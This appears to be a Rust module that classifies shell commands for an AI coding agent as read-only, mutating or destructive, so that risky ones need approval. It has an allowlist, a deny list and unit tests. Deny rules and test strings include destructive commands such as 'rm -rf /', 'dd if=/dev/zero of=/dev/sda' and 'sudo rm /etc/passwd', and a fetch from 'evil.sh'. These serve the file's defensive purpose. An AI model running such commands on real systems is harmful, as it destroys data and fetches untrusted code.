1use crate::tools::ToolEffect;
24
25const READ_ONLY_PREFIXES: &[&str] = &[
29 "cat ",
31 "head ",
32 "tail ",
33 "less ",
34 "more ",
35 "wc ",
36 "file ",
37 "stat ",
38 "bat ",
39 "ls",
41 "tree",
42 "du ",
43 "df",
44 "pwd",
45 "grep ",
47 "rg ",
48 "ag ",
49 "find ",
50 "fd ",
51 "fzf",
52 "echo ",
54 "printf ",
55 "whoami",
56 "hostname",
57 "uname",
58 "date",
59 "which ",
60 "type ",
61 "command -v ",
62 "printenv",
68 "rustc --version",
70 "node --version",
71 "npm --version",
72 "python --version",
73 "python3 --version",
74 "git status",
76 "git log",
77 "git diff",
78 "git branch",
79 "git show",
80 "git remote",
81 "git stash list",
82 "git tag",
83 "git describe",
84 "git rev-parse",
85 "git ls-files",
86 "git blame",
87 "docker ps",
89 "docker images",
90 "docker logs",
91 "docker compose ps",
92 "docker compose logs",
93 "sort ",
95 "uniq ",
96 "cut ",
97 "awk ",
98 "sed ",
99 "tr ",
100 "diff ",
101 "jq ",
102 "yq ",
103 "dirname ",
108 "basename ",
109 "realpath ",
110 "readlink ",
111 "tput ",
113 "true",
114 "false",
115 "test ",
116 "[ ",
117 "gh issue view",
119 "gh issue list",
120 "gh issue status",
121 "gh pr view",
122 "gh pr list",
123 "gh pr status",
124 "gh pr checks",
125 "gh pr diff",
126 "gh repo view",
127 "gh repo clone",
128 "gh release list",
129 "gh release view",
130 "gh run view",
131 "gh run list",
132 "gh run watch",
133];
134
135#[derive(Debug, Clone, Copy)]
142enum DangerCheck {
143 Cmd(&'static str),
145 CmdFlag(&'static str, &'static str),
147 CmdSub(&'static str, &'static str),
149 CmdSubFlag(&'static str, &'static str, &'static str),
151 CmdSubSub(&'static str, &'static str, &'static str),
153}
154
155fn flag_matches(t: &str, flag: &str) -> bool {
158 if t == flag {
159 return true;
160 }
161 if flag.len() == 2 && flag.starts_with('-') && t.starts_with('-') && !t.starts_with("--") {
163 let ch = flag.chars().nth(1).unwrap();
164 return t[1..].contains(ch);
165 }
166 false
167}
168
169impl DangerCheck {
170 fn matches(&self, tokens: &[String]) -> bool {
171 use DangerCheck::*;
172 let Some(cmd) = tokens.first() else {
173 return false;
174 };
175 match *self {
176 Cmd(c) => cmd == c,
177 CmdFlag(c, flag) => cmd == c && tokens[1..].iter().any(|t| flag_matches(t, flag)),
178 CmdSub(c, sub) => cmd == c && tokens.get(1).map(|s| s.as_str()) == Some(sub),
179 CmdSubFlag(c, sub, flag) => {
180 cmd == c
181 && tokens.get(1).map(|s| s.as_str()) == Some(sub)
182 && tokens[2..].iter().any(|t| flag_matches(t, flag))
183 }
184 CmdSubSub(c, sub, sub2) => {
185 cmd == c
186 && tokens.get(1).map(|s| s.as_str()) == Some(sub)
187 && tokens.get(2).map(|s| s.as_str()) == Some(sub2)
188 }
189 }
190 }
191}
192
193const DANGER_CHECKS: &[DangerCheck] = &[
194 DangerCheck::Cmd("rm"),
196 DangerCheck::Cmd("rmdir"),
197 DangerCheck::Cmd("sudo"),
199 DangerCheck::Cmd("su"),
200 DangerCheck::Cmd("dd"),
202 DangerCheck::Cmd("mkfs"),
203 DangerCheck::Cmd("fdisk"),
204 DangerCheck::Cmd("chmod"),
206 DangerCheck::Cmd("chown"),
207 DangerCheck::Cmd("kill"),
209 DangerCheck::Cmd("killall"),
210 DangerCheck::Cmd("pkill"),
211 DangerCheck::Cmd("eval"),
213 DangerCheck::Cmd("reboot"),
215 DangerCheck::Cmd("shutdown"),
216 DangerCheck::Cmd("halt"),
217 DangerCheck::CmdFlag("sed", "-i"),
219 DangerCheck::CmdFlag("sed", "--in-place"),
220 DangerCheck::CmdFlag("find", "-delete"),
230 DangerCheck::CmdFlag("find", "-exec"),
231 DangerCheck::CmdFlag("find", "-execdir"),
232 DangerCheck::CmdFlag("find", "-ok"),
233 DangerCheck::CmdFlag("find", "-okdir"),
234 DangerCheck::CmdFlag("find", "-fprint"),
235 DangerCheck::CmdFlag("find", "-fprintf"),
236 DangerCheck::CmdFlag("find", "-fls"),
237 DangerCheck::CmdFlag("python", "-c"),
239 DangerCheck::CmdFlag("python3", "-c"),
240 DangerCheck::CmdFlag("perl", "-e"),
241 DangerCheck::CmdFlag("ruby", "-e"),
242 DangerCheck::CmdFlag("node", "-e"),
243 DangerCheck::CmdFlag("sh", "-c"),
245 DangerCheck::CmdFlag("bash", "-c"),
246 DangerCheck::CmdFlag("zsh", "-c"),
247 DangerCheck::CmdSub("npm", "publish"),
249 DangerCheck::CmdSub("cargo", "publish"),
250 DangerCheck::CmdSubFlag("git", "push", "-f"),
252 DangerCheck::CmdSubFlag("git", "push", "--force"),
253 DangerCheck::CmdSubFlag("git", "reset", "--hard"),
254 DangerCheck::CmdSubFlag("git", "clean", "-f"), DangerCheck::CmdSubSub("gh", "pr", "merge"),
257 DangerCheck::CmdSubSub("gh", "issue", "delete"),
258 DangerCheck::CmdSubSub("gh", "repo", "delete"),
259 DangerCheck::CmdSubSub("gh", "release", "delete"),
260 DangerCheck::CmdSub("gh", "api"),
261 DangerCheck::CmdSub("gh", "auth"),
262];
263
264const RAW_DANGER_PATTERNS: &[&str] = &[
271 "$(", "`", "<(", ">(", "| sh", "| bash", "| zsh", "> /dev/", "(){", "() {",
279];
280
281pub fn classify_bash_command(command: &str) -> ToolEffect {
305 let trimmed = command.trim();
306 if trimmed.is_empty() {
307 return ToolEffect::ReadOnly;
308 }
309
310 let unquoted = strip_quoted_strings(trimmed);
312 for pat in RAW_DANGER_PATTERNS {
313 if unquoted.contains(pat) {
314 return ToolEffect::Destructive;
315 }
316 }
317
318 if has_write_side_effect(trimmed) {
320 return ToolEffect::LocalMutation;
321 }
322
323 let segments = split_command_segments(trimmed);
327 let mut worst = ToolEffect::ReadOnly;
328
329 for seg in &segments {
330 let effect = classify_segment(seg);
331 match effect {
332 ToolEffect::Destructive => return ToolEffect::Destructive,
333 ToolEffect::LocalMutation => worst = ToolEffect::LocalMutation,
334 _ => {}
335 }
336 }
337
338 worst
339}
340
341fn classify_segment(segment: &str) -> ToolEffect {
346 let seg = strip_env_vars(segment.trim());
347 let seg = strip_redirections(&seg);
348 let seg = seg
354 .trim()
355 .trim_start_matches(['(', '{'])
356 .trim_end_matches([')', '}', ';'])
357 .trim()
358 .to_string();
359
360 if seg.is_empty() {
361 return ToolEffect::ReadOnly;
362 }
363
364 let tokens = match shlex::split(&seg) {
367 Some(t) if !t.is_empty() => t,
368 _ => return ToolEffect::LocalMutation,
369 };
370
371 for check in DANGER_CHECKS {
373 if check.matches(&tokens) {
374 return ToolEffect::Destructive;
375 }
376 }
377
378 let canonical = tokens.join(" ");
381 if matches_prefix_list(&canonical, READ_ONLY_PREFIXES) {
382 ToolEffect::ReadOnly
383 } else {
384 ToolEffect::LocalMutation
385 }
386}
387
388fn has_write_side_effect(command: &str) -> bool {
392 let chars: Vec<char> = command.chars().collect();
393 let mut in_sq = false;
394 let mut in_dq = false;
395 let mut i = 0;
396
397 while i < chars.len() {
398 let c = chars[i];
399 if c == '\'' && !in_dq {
400 in_sq = !in_sq;
401 } else if c == '"' && !in_sq {
402 in_dq = !in_dq;
403 } else if !in_sq && !in_dq && c == '>' {
404 let before = if i > 0 { chars[i - 1] } else { ' ' };
405 if before == '&' {
406 i += 1;
407 continue;
408 }
409 let after: String = chars[i + 1..].iter().collect();
410 let after_trimmed = after.trim_start();
411 if after_trimmed.starts_with("/dev/null")
412 || after_trimmed.starts_with("&1")
413 || after_trimmed.starts_with("&2")
414 {
415 i += 1;
416 continue;
417 }
418 return true;
419 }
420 i += 1;
421 }
422
423 let segments = split_command_segments(command);
425 for (idx, seg) in segments.iter().enumerate() {
426 if idx > 0 {
427 let t = seg.trim();
428 if t.starts_with("tee ") || t == "tee" {
429 return true;
430 }
431 }
432 }
433
434 false
435}
436
437fn matches_prefix_list(seg: &str, prefixes: &[&str]) -> bool {
452 for prefix in prefixes {
453 let bare = prefix.trim_end();
454 if seg == bare
455 || seg.starts_with(&format!("{bare} "))
456 || seg.starts_with(&format!("{bare}\t"))
457 {
458 return true;
459 }
460 }
461 false
462}
463
464pub fn split_command_segments(command: &str) -> Vec<&str> {
476 let mut segments = Vec::new();
477 let mut start = 0;
478 let chars: Vec<char> = command.chars().collect();
479 let mut i = 0;
480 let mut in_single_quote = false;
481 let mut in_double_quote = false;
482
483 while i < chars.len() {
484 let c = chars[i];
485 if c == '\'' && !in_double_quote {
486 in_single_quote = !in_single_quote;
487 } else if c == '"' && !in_single_quote {
488 in_double_quote = !in_double_quote;
489 } else if !in_single_quote && !in_double_quote {
490 let sep_len = if (c == '|' || c == '&') && i + 1 < chars.len() && chars[i + 1] == c {
491 2 } else if c == '|' || c == ';' {
493 1
494 } else {
495 0
496 };
497 if sep_len > 0 {
498 segments.push(&command[start..i]);
499 i += sep_len;
500 start = i;
501 continue;
502 }
503 }
504 i += 1;
505 }
506 if start < chars.len() {
507 segments.push(&command[start..]);
508 }
509 segments
510}
511
512pub fn strip_quoted_strings(s: &str) -> String {
517 let mut result = String::with_capacity(s.len());
518 let mut chars = s.chars().peekable();
519 while let Some(c) = chars.next() {
520 if c == '\'' {
521 result.push(c);
522 let mut found_close = false;
523 for inner in chars.by_ref() {
524 if inner == '\'' {
525 result.push(c);
526 found_close = true;
527 break;
528 }
529 result.push(' ');
530 }
531 let _ = found_close;
532 } else if c == '"' {
533 result.push(c);
534 let mut found_close = false;
535 while let Some(inner) = chars.next() {
536 if inner == '\\' {
537 result.push(' ');
538 if chars.next().is_some() {
539 result.push(' ');
540 }
541 continue;
542 }
543 if inner == '"' {
544 result.push(c);
545 found_close = true;
546 break;
547 }
548 result.push(' ');
549 }
550 let _ = found_close;
551 } else {
552 result.push(c);
553 }
554 }
555 result
556}
557
558pub fn strip_env_vars(segment: &str) -> String {
569 let mut rest = segment;
570 loop {
571 let trimmed = rest.trim_start();
572 if let Some(eq_pos) = trimmed.find('=') {
573 let before_eq = &trimmed[..eq_pos];
574 if !before_eq.is_empty()
575 && before_eq
576 .chars()
577 .all(|c| c.is_ascii_alphanumeric() || c == '_')
578 {
579 let after_eq = &trimmed[eq_pos + 1..];
580 if let Some(space_pos) = find_unquoted_space(after_eq) {
581 rest = &after_eq[space_pos..];
582 continue;
583 }
584 }
585 }
586 return trimmed.to_string();
587 }
588}
589
590fn strip_redirections(segment: &str) -> String {
592 let mut result = segment.to_string();
593 for pat in ["2>&1", "2>/dev/null", ">/dev/null", "</dev/null"] {
594 result = result.replace(pat, "");
595 }
596 result
597}
598
599fn find_unquoted_space(s: &str) -> Option<usize> {
601 let mut in_sq = false;
602 let mut in_dq = false;
603 for (i, c) in s.chars().enumerate() {
604 match c {
605 '\'' if !in_dq => in_sq = !in_sq,
606 '"' if !in_sq => in_dq = !in_dq,
607 ' ' | '\t' if !in_sq && !in_dq => return Some(i),
608 _ => {}
609 }
610 }
611 None
612}
613
614#[cfg(test)]
617mod tests {
618 use super::*;
619
620 #[test]
623 fn test_flag_matches_exact() {
624 assert!(flag_matches("-i", "-i"));
625 assert!(flag_matches("--force", "--force"));
626 assert!(!flag_matches("-n", "-i"));
627 assert!(!flag_matches("--force", "-f"));
628 }
629
630 #[test]
631 fn test_flag_matches_combined_short() {
632 assert!(flag_matches("-fd", "-f"));
633 assert!(flag_matches("-fdc", "-f"));
634 assert!(!flag_matches("-nd", "-f"));
635 assert!(!flag_matches("--force", "-f"));
636 }
637
638 #[test]
641 fn test_danger_check_cmd() {
642 let t = |s: &str| s.to_string();
643 let rm = vec![t("rm"), t("-rf"), t("/")];
644 assert!(DangerCheck::Cmd("rm").matches(&rm));
645 assert!(!DangerCheck::Cmd("ls").matches(&rm));
646 }
647
648 #[test]
649 fn test_danger_check_cmd_flag() {
650 let t = |s: &str| s.to_string();
651 let sed_i = vec![t("sed"), t("-i"), t("s/a/b/")];
652 assert!(DangerCheck::CmdFlag("sed", "-i").matches(&sed_i));
653 assert!(!DangerCheck::CmdFlag("sed", "--in-place").matches(&sed_i));
654 }
655
656 #[test]
657 fn test_danger_check_combined_flag() {
658 let t = |s: &str| s.to_string();
659 let git_clean_fd = vec![t("git"), t("clean"), t("-fd")];
660 assert!(DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_fd));
661 let git_clean_n = vec![t("git"), t("clean"), t("-nd")];
662 assert!(!DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_n));
663 }
664
665 #[test]
666 fn test_danger_check_cmd_sub_sub() {
667 let t = |s: &str| s.to_string();
668 let merge = vec![t("gh"), t("pr"), t("merge"), t("42")];
669 assert!(DangerCheck::CmdSubSub("gh", "pr", "merge").matches(&merge));
670 assert!(!DangerCheck::CmdSubSub("gh", "pr", "view").matches(&merge));
671 }
672
673 #[test]
676 fn test_split_pipe() {
677 let segs = split_command_segments("cat file | grep pattern");
678 assert_eq!(segs.len(), 2);
679 assert_eq!(segs[0].trim(), "cat file");
680 assert_eq!(segs[1].trim(), "grep pattern");
681 }
682
683 #[test]
684 fn test_split_chain_and_semicolon() {
685 assert_eq!(split_command_segments("cargo build && cargo test").len(), 2);
686 assert_eq!(split_command_segments("echo a; echo b; echo c").len(), 3);
687 }
688
689 #[test]
690 fn test_split_respects_quotes() {
691 let segs = split_command_segments("echo 'a | b' | grep x");
692 assert_eq!(segs.len(), 2);
693 assert!(segs[0].contains("'a | b'"));
694 }
695
696 #[test]
699 fn test_strip_quoted_backslash_escaped() {
700 assert_eq!(
701 strip_quoted_strings(r#"echo "it\"s fine" ; ls"#),
702 r#"echo " " ; ls"#,
703 );
704 let stripped = strip_quoted_strings(r#"echo "safe\" ; rm -rf /""#);
705 assert!(!stripped.contains("rm -rf"));
706 }
707
708 #[test]
711 fn test_strip_env_vars_basic() {
712 assert_eq!(strip_env_vars("FOO=bar cargo build"), "cargo build");
713 assert_eq!(strip_env_vars("ls -la"), "ls -la");
714 }
715
716 #[test]
721 fn test_matches_prefix_list_bare_command() {
722 let prefixes = &["sort ", "wc ", "uniq ", "cat ", "grep "];
723 for cmd in ["sort", "wc", "uniq", "cat", "grep"] {
724 assert!(
725 matches_prefix_list(cmd, prefixes),
726 "bare `{cmd}` should match the prefix list"
727 );
728 }
729 }
730
731 #[test]
733 fn test_matches_prefix_list_with_args() {
734 let prefixes = &["sort ", "wc ", "grep "];
735 for cmd in ["sort -u", "wc -l", "grep -i foo"] {
736 assert!(matches_prefix_list(cmd, prefixes), "`{cmd}` should match");
737 }
738 }
739
740 #[test]
742 fn test_matches_prefix_list_tab_separator() {
743 let prefixes = &["sort "];
744 assert!(matches_prefix_list("sort\t-u", prefixes));
745 }
746
747 #[test]
750 fn test_matches_prefix_list_no_substring_false_positive() {
751 let prefixes = &["sort ", "cat ", "ls"];
752 for cmd in ["sortfoo", "catalogue", "lsof", "sortir"] {
753 assert!(
754 !matches_prefix_list(cmd, prefixes),
755 "`{cmd}` must not match (substring false-positive)"
756 );
757 }
758 }
759
760 #[test]
765 fn test_classify_bare_pipeline_tail_is_read_only() {
766 let cases = [
767 "sort",
769 "ls | sort",
770 "echo hi | wc",
771 "cat file | uniq",
772 "grep -c \"^pub fn find_matches\" src/properties/*.rs | sort",
774 "echo hi | cat",
776 "echo hi | head",
777 "echo hi | tail",
778 "echo hi | sed",
779 "echo hi | awk",
780 "echo hi | tr",
781 "echo hi | jq",
782 "ls | wc",
785 "find . | sort | uniq",
786 ];
787 for cmd in cases {
788 assert_eq!(
789 classify_bash_command(cmd),
790 ToolEffect::ReadOnly,
791 "`{cmd}` should classify as ReadOnly",
792 );
793 }
794 }
795
796 #[test]
798 fn test_classify_pipeline_tail_with_args_still_read_only() {
799 let cases = [
800 "ls | sort -u",
801 "echo hi | wc -l",
802 "cat file | uniq -c",
803 "find . | head -20",
804 "git log | grep WIP",
805 ];
806 for cmd in cases {
807 assert_eq!(
808 classify_bash_command(cmd),
809 ToolEffect::ReadOnly,
810 "`{cmd}` should classify as ReadOnly",
811 );
812 }
813 }
814
815 #[test]
818 fn test_classify_mutating_pipeline_tail_not_read_only() {
819 for cmd in [
822 "echo content | tee output.txt",
823 "echo content | tee",
824 "ls > files.txt",
825 ] {
826 assert_ne!(
827 classify_bash_command(cmd),
828 ToolEffect::ReadOnly,
829 "`{cmd}` must not be ReadOnly (has write side effect)",
830 );
831 }
832 }
833
834 #[test]
837 fn test_classify_bare_unknown_command_not_read_only() {
838 for cmd in ["cargo", "npm", "make", "docker"] {
839 assert_ne!(
840 classify_bash_command(cmd),
841 ToolEffect::ReadOnly,
842 "bare `{cmd}` must not be misclassified as ReadOnly",
843 );
844 }
845 }
846
847 #[test]
854 fn test_classify_xargs_with_destructive_inner_not_read_only() {
855 for cmd in [
856 "ls | xargs rm",
857 "find . -name '*.tmp' | xargs rm",
858 "echo file | xargs rm -rf",
859 "ls | xargs mv -t /tmp",
860 "echo a b c | xargs cp -t /backup",
861 ] {
862 assert_ne!(
863 classify_bash_command(cmd),
864 ToolEffect::ReadOnly,
865 "`{cmd}` must NOT be ReadOnly — xargs runs the inner command",
866 );
867 }
868 }
869
870 #[test]
874 fn test_classify_xargs_with_read_only_inner_still_not_auto_approved() {
875 for cmd in ["ls | xargs grep foo", "ls | xargs cat", "ls | xargs wc"] {
876 assert_ne!(
877 classify_bash_command(cmd),
878 ToolEffect::ReadOnly,
879 "`{cmd}` should require approval — xargs is opaque to the classifier",
880 );
881 }
882 }
883
884 #[test]
887 fn test_classify_non_xargs_pipelines_still_read_only() {
888 for cmd in [
889 "ls | grep foo",
890 "cat file | sort | uniq",
891 "find . | head -20",
892 "git log | grep WIP",
893 ] {
894 assert_eq!(
895 classify_bash_command(cmd),
896 ToolEffect::ReadOnly,
897 "`{cmd}` should still be ReadOnly",
898 );
899 }
900 }
901
902 #[test]
907 fn test_classify_env_with_inner_command_not_read_only() {
908 for cmd in [
909 "env cargo build",
910 "env make install",
911 "env FOO=bar rm file",
912 "env PATH=/tmp ls /",
913 "env -i bash",
914 ] {
915 assert_ne!(
916 classify_bash_command(cmd),
917 ToolEffect::ReadOnly,
918 "`{cmd}` must NOT be ReadOnly — env runs the inner command",
919 );
920 }
921 }
922
923 #[test]
926 fn test_classify_bare_env_requires_approval_printenv_does_not() {
927 assert_ne!(
928 classify_bash_command("env"),
929 ToolEffect::ReadOnly,
930 "bare `env` now requires approval (use `printenv` instead)",
931 );
932 assert_eq!(
933 classify_bash_command("printenv"),
934 ToolEffect::ReadOnly,
935 "`printenv` is the read-only alternative",
936 );
937 assert_eq!(
938 classify_bash_command("printenv PATH"),
939 ToolEffect::ReadOnly,
940 "`printenv VAR` reads a single var",
941 );
942 }
943
944 #[test]
949 fn test_classify_find_delete_is_destructive() {
950 for cmd in [
951 "find . -name '*.tmp' -delete",
952 "find /tmp -delete",
953 "find . -type f -delete",
954 ] {
955 assert_eq!(
956 classify_bash_command(cmd),
957 ToolEffect::Destructive,
958 "`{cmd}` must be Destructive (deletes files)",
959 );
960 }
961 }
962
963 #[test]
965 fn test_classify_find_exec_is_destructive() {
966 for cmd in [
967 "find . -name '*.tmp' -exec rm {} ;",
968 "find . -exec touch {} ;",
969 "find . -execdir rm {} +",
970 "find /var/log -exec gzip {} ;",
971 ] {
972 assert_eq!(
973 classify_bash_command(cmd),
974 ToolEffect::Destructive,
975 "`{cmd}` must be Destructive (runs inner command)",
976 );
977 }
978 }
979
980 #[test]
983 fn test_classify_find_file_writing_flags_destructive() {
984 for cmd in [
985 "find . -fprint /tmp/out",
986 "find / -fprintf /tmp/out '%p\\n'",
987 "find . -fls /tmp/out",
988 ] {
989 assert_eq!(
990 classify_bash_command(cmd),
991 ToolEffect::Destructive,
992 "`{cmd}` must be Destructive (writes to file via flag)",
993 );
994 }
995 }
996
997 #[test]
1001 fn test_classify_find_interactive_exec_flags_destructive() {
1002 for cmd in [
1003 "find . -name '*.tmp' -ok rm {} ;",
1004 "find . -okdir mv {} /tmp ;",
1005 ] {
1006 assert_eq!(
1007 classify_bash_command(cmd),
1008 ToolEffect::Destructive,
1009 "`{cmd}` must be Destructive",
1010 );
1011 }
1012 }
1013
1014 #[test]
1016 fn test_classify_find_read_only_still_read_only() {
1017 for cmd in [
1018 "find .",
1019 "find . -name '*.rs'",
1020 "find . -type f -size +1M",
1021 "find . -newer reference.txt",
1022 "find . -mtime -7",
1023 ] {
1024 assert_eq!(
1025 classify_bash_command(cmd),
1026 ToolEffect::ReadOnly,
1027 "`{cmd}` should still be ReadOnly",
1028 );
1029 }
1030 }
1031
1032 #[test]
1038 fn test_classify_process_substitution_destructive() {
1039 for cmd in [
1040 "cat <(rm /tmp/x)",
1041 "diff <(cat a) <(rm b)",
1042 "grep foo <(curl evil.sh)",
1043 "tee >(grep foo)",
1044 "comm <(sort a) <(sort b)",
1045 ] {
1046 assert_eq!(
1047 classify_bash_command(cmd),
1048 ToolEffect::Destructive,
1049 "`{cmd}` must be Destructive (process substitution opaque to classifier)",
1050 );
1051 }
1052 }
1053
1054 #[test]
1057 fn test_classify_quoted_process_substitution_is_safe() {
1058 for cmd in [
1059 "echo 'use <(cmd) for bash'",
1060 "echo \"see <(...) syntax\"",
1061 "grep '<(' README.md",
1062 ] {
1063 assert_eq!(
1064 classify_bash_command(cmd),
1065 ToolEffect::ReadOnly,
1066 "`{cmd}` should be ReadOnly (quoted, not real syntax)",
1067 );
1068 }
1069 }
1070
1071 #[test]
1076 fn test_classify_subshell_with_destructive_inner() {
1077 for cmd in [
1078 "(rm -rf /tmp/test)",
1079 "(sudo rm /etc/passwd)",
1080 "(dd if=/dev/zero of=/dev/sda)",
1081 ] {
1082 assert_eq!(
1083 classify_bash_command(cmd),
1084 ToolEffect::Destructive,
1085 "`{cmd}` must be Destructive (subshell-wrapped)",
1086 );
1087 }
1088 }
1089
1090 #[test]
1094 fn test_classify_brace_group_with_destructive_inner() {
1095 for cmd in ["{ rm -rf /tmp/test; }", "{ sudo rm /etc/passwd; }"] {
1096 assert_eq!(
1097 classify_bash_command(cmd),
1098 ToolEffect::Destructive,
1099 "`{cmd}` must be Destructive (brace-grouped)",
1100 );
1101 }
1102 }
1103
1104 #[test]
1106 fn test_classify_subshell_with_read_only_inner_still_read_only() {
1107 for cmd in [
1108 "(ls -la)",
1109 "(git status)",
1110 "{ ls; }",
1111 "(cat file | grep foo)",
1112 ] {
1113 assert_eq!(
1114 classify_bash_command(cmd),
1115 ToolEffect::ReadOnly,
1116 "`{cmd}` should still be ReadOnly",
1117 );
1118 }
1119 }
1120
1121 #[test]
1124 fn test_classify_pipeline_with_subshell_destructive_segment() {
1125 for cmd in [
1126 "echo hi && (rm -rf /tmp/test)",
1127 "ls; (rm /tmp/x)",
1128 "true || (sudo rm /etc/foo)",
1129 ] {
1130 assert_eq!(
1131 classify_bash_command(cmd),
1132 ToolEffect::Destructive,
1133 "`{cmd}` must be Destructive (subshell segment)",
1134 );
1135 }
1136 }
1137}